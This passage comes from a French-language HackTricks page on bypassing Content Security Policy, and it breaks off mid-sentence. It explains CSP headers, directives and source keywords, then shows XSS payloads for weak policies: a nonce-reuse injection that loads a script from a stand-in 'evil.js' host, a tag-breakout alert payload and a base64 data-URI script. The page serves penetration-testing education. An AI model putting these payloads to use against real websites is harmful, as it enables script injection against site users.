Content Security Policy (CSP) Bypass

Reading time: 35 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que le CSP

Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinĂ©e Ă  protĂ©ger contre des attaques telles que le cross-site scripting (XSS). Elle fonctionne en dĂ©finissant et en prĂ©cisant les chemins et les sources depuis lesquels le navigateur peut charger des ressources en toute sĂ©curitĂ©. Ces ressources couvrent divers Ă©lĂ©ments tels que des images, des frames et du JavaScript. Par exemple, une politique peut autoriser le chargement et l'exĂ©cution de ressources depuis le mĂȘme domaine (self), y compris des ressources inline et l'exĂ©cution de code sous forme de chaĂźne via des fonctions comme eval, setTimeout ou setInterval.

La mise en Ɠuvre de CSP se fait via les entĂȘtes de rĂ©ponse ou en incorporant des balises meta dans la page HTML. ConformĂ©ment Ă  cette politique, les navigateurs appliquent ces rĂšgles de maniĂšre proactive et bloquent immĂ©diatement toute violation dĂ©tectĂ©e.

  • ImplĂ©mentĂ© via l'en-tĂȘte de rĂ©ponse:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • ImplĂ©mentĂ© via la balise meta:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

Le CSP peut ĂȘtre appliquĂ© ou surveillĂ© en utilisant ces en-tĂȘtes :

  • Content-Security-Policy: Applique la CSP ; le navigateur bloque toute violation.
  • Content-Security-Policy-Report-Only: UtilisĂ© pour la surveillance ; signale les violations sans les bloquer. IdĂ©al pour les tests en environnements de prĂ©-production.

Définition des ressources

CSP restreint les origines pour le chargement du contenu actif et passif, contrÎlant des aspects comme l'exécution de JavaScript inline et l'utilisation de eval(). Un exemple de politique est :

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Autorise des sources spĂ©cifiques pour JavaScript, y compris les URL, les scripts inline et les scripts dĂ©clenchĂ©s par des gestionnaires d'Ă©vĂ©nements ou des feuilles de style XSLT.
  • default-src: DĂ©finit une politique par dĂ©faut pour la rĂ©cupĂ©ration des ressources lorsque des directives de rĂ©cupĂ©ration spĂ©cifiques sont absentes.
  • child-src: SpĂ©cifie les ressources autorisĂ©es pour les web workers et le contenu des frames intĂ©grĂ©es.
  • connect-src: Restreint les URL pouvant ĂȘtre chargĂ©es via des interfaces comme fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restreint les URL pour les frames.
  • frame-ancestors: SpĂ©cifie quelles sources peuvent intĂ©grer la page actuelle, applicable aux Ă©lĂ©ments comme <frame>, <iframe>, <object>, <embed>, et <applet>.
  • img-src: DĂ©finit les sources autorisĂ©es pour les images.
  • font-src: SpĂ©cifie les sources valides pour les polices chargĂ©es via @font-face.
  • manifest-src: DĂ©finit les sources autorisĂ©es des fichiers manifeste d'application.
  • media-src: DĂ©finit les sources autorisĂ©es pour le chargement d'Ă©lĂ©ments mĂ©dia.
  • object-src: DĂ©finit les sources autorisĂ©es pour les Ă©lĂ©ments <object>, <embed>, et <applet>.
  • base-uri: SpĂ©cifie les URL autorisĂ©es pour le chargement via l'Ă©lĂ©ment <base>.
  • form-action: Liste les points de terminaison valides pour la soumission de formulaires.
  • plugin-types: Restreint les types MIME que la page peut invoquer.
  • upgrade-insecure-requests: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
  • sandbox: Applique des restrictions similaires Ă  l'attribut sandbox d'un <iframe>.
  • report-to: SpĂ©cifie un groupe vers lequel un rapport sera envoyĂ© si la politique est violĂ©e.
  • worker-src: SpĂ©cifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
  • prefetch-src: SpĂ©cifie les sources valides pour les ressources qui seront rĂ©cupĂ©rĂ©es ou prĂ©chargĂ©es.
  • navigate-to: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)

Sources

  • *: Autorise toutes les URL sauf celles avec les schĂ©mas data:, blob:, filesystem:.
  • 'self': Autorise le chargement depuis le mĂȘme domaine.
  • 'data': Autorise le chargement de ressources via le schĂ©ma data (par ex., images encodĂ©es en Base64).
  • 'none': Bloque le chargement depuis toute source.
  • 'unsafe-eval': Autorise l'utilisation de eval() et mĂ©thodes similaires, dĂ©conseillĂ© pour des raisons de sĂ©curitĂ©.
  • 'unsafe-hashes': Active des gestionnaires d'Ă©vĂ©nements inline spĂ©cifiques.
  • 'unsafe-inline': Autorise l'utilisation de ressources inline comme <script> ou <style>, dĂ©conseillĂ© pour des raisons de sĂ©curitĂ©.
  • 'nonce': Une liste blanche pour des scripts inline spĂ©cifiques utilisant un nonce cryptographique (nombre utilisĂ© une fois).
  • If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Charger un script en réutilisant le nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Met sur liste blanche les scripts avec un hash sha256 spĂ©cifique.
  • 'strict-dynamic': Permet le chargement de scripts depuis n'importe quelle source si celle-ci a Ă©tĂ© mise sur liste blanche via un nonce ou un hash.
  • 'host': SpĂ©cifie un hĂŽte prĂ©cis, par exemple example.com.
  • https:: Restreint les URLs Ă  celles utilisant HTTPS.
  • blob:: Permet le chargement de ressources depuis des Blob URLs (par ex., des Blob URLs créées via JavaScript).
  • filesystem:: Permet le chargement de ressources depuis le systĂšme de fichiers.
  • 'report-sample': Inclut un extrait du code en infraction dans le rapport de violation (utile pour le dĂ©bogage).
  • 'strict-origin': Similaire Ă  'self' mais s'assure que le niveau de sĂ©curitĂ© du protocole des sources correspond Ă  celui du document (seules les origines sĂ©curisĂ©es peuvent charger des ressources depuis des origines sĂ©curisĂ©es).
  • 'strict-origin-when-cross-origin': Envoie des URLs complĂštes pour les requĂȘtes same-origin mais n'envoie que l'origine lorsque la requĂȘte est cross-origin.
  • 'unsafe-allow-redirects': Permet le chargement de ressources qui redirigeront immĂ©diatement vers une autre ressource. À dĂ©conseiller car cela affaiblit la sĂ©curitĂ©.

RĂšgles CSP dangereuses

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload fonctionnel: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Cela ne fonctionne pas. Pour plus d'informations, consultez ceci.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload fonctionnel :

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si vous parvenez, d'une maniÚre ou d'une autre, à faire en sorte qu'un code JS autorisé crée une nouvelle balise